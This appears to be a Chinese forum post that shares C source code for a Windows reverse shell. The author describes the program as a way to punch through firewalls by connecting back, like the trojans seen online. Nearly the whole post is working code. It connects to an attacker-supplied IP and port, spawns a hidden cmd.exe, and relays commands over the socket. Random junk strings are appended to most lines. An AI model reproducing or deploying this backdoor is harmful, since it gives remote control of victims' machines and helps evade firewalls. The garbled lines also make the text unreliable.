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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {`SMxDevc}  
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/* ============================== j_g(6uZhz3  
Rebound port in Windows NT %htI!b+"@  
By wind,2006/7 3*</vo#`  
===============================*/ Vpg>K #w  
#include ]F+|C  
#include i,;JI>U  
qa^cJ1@  
#pragma comment(lib,"wsock32.lib") Kc\8GkdB  
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void OutputShell(); LnE/62){N  
SOCKET sClient; ,7@\e &/&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X,w X)9]J  
}BC%(ZH6  
void main(int argc,char **argv) *w@ 1@6?j  
{ ;B 8Q,.t>x  
WSADATA stWsaData; rn)Gx2 5  
int nRet; VrRF2(Kn?  
SOCKADDR_IN stSaiClient,stSaiServer; v1{j1~ZR  
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if(argc != 3) VVSt,/SO  
{ JY CMW! ~  
printf("Useage:\n\rRebound DestIP DestPort\n"); ];w}?LFb  
return; 2om:S+3)2  
} 4ekwmw(ox  
Cl&mz1Y;]1  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4E.9CjN1>  
^(:~8 h  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E:8*o7  
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stSaiClient.sin_family = AF_INET; 8  *f 9  
stSaiClient.sin_port = htons(0); 5.VPK 338A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); eaf-_#qb  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eAW)|=2  
{ :^kAFLU  
printf("Bind Socket Failed!\n"); wIi(\]Q  
return; vU%K%-yXG7  
} ;w. la  
D@&xj_#\}  
stSaiServer.sin_family = AF_INET; 7~P2q/2E>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `D%i`"~Lf&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dc0=gq0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U3&GRY|##  
{ 3;L$&X2  
printf("Connect Error!"); d\>XfS  
return; -& (iU#W  
} sf2%WPK  
OutputShell(); e;XRH<LhAU  
} m OUO)[6y  
WOj}+?/3 R  
void OutputShell() } +Sp7F1q  
{ Zy7kPL;b  
char szBuff[1024]; (UkDww_!  
SECURITY_ATTRIBUTES stSecurityAttributes; hiVa\s  
OSVERSIONINFO stOsversionInfo; ({rcH.:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]^"Lc~w8&  
STARTUPINFO stStartupInfo; }Ecv6&G  
char *szShell; K*5gb^Ul  
PROCESS_INFORMATION stProcessInformation; h.K"v5I*  
unsigned long lBytesRead; Ew0)MZ.#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8gNTW7W/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :N<Qk  
stSecurityAttributes.lpSecurityDescriptor = 0; _fk}d[q0  
stSecurityAttributes.bInheritHandle = TRUE; gN<7(F  
]8%E'd  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 82,^Pu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RTlC]`IGT  
9 RDs`>v  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {v'eP[  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E pF9&)  
stStartupInfo.wShowWindow = SW_HIDE; z$^wCd:  
stStartupInfo.hStdInput = hReadPipe; 2o(O`;z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Nsh/  
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GetVersionEx(&stOsversionInfo); Ut2T:%m{  
qZ!kVrmg&  
switch(stOsversionInfo.dwPlatformId) @>(JC]HtR  
{ kAp#6->(q  
case 1: v CsE|eMP  
szShell = "command.com"; JfkEJk<  
break; ~9o@1TO:v  
default: _5S0A0  
szShell = "cmd.exe"; KC}G_"f.$  
break; gnZ#86sO  
} J=Kv-@I>E  
Mw,]Pt6~i  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s/@uGC0>  
pBe1:  
send(sClient,szMsg,77,0); dCM &Yf}K  
while(1) ]R\L~Kr  
{ 95IP_1}?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N<SW $ o  
if(lBytesRead) =XQGg`8<LB  
{ j_,/U^Ws|f  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); XE_Lz2H`  
send(sClient,szBuff,lBytesRead,0); EXeV @kg  
} yg8= G vO  
else }JtcAuQt  
{ Z{vc6oj  
lBytesRead=recv(sClient,szBuff,1024,0); u:J( 0re  
if(lBytesRead<=0) break; T"htWo{v>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); JZ`u?ZaJ/s  
} l@SV!keQ  
} 0#Gm# =F  
"gNi}dB<]  
return; *2/qm:gB  
}
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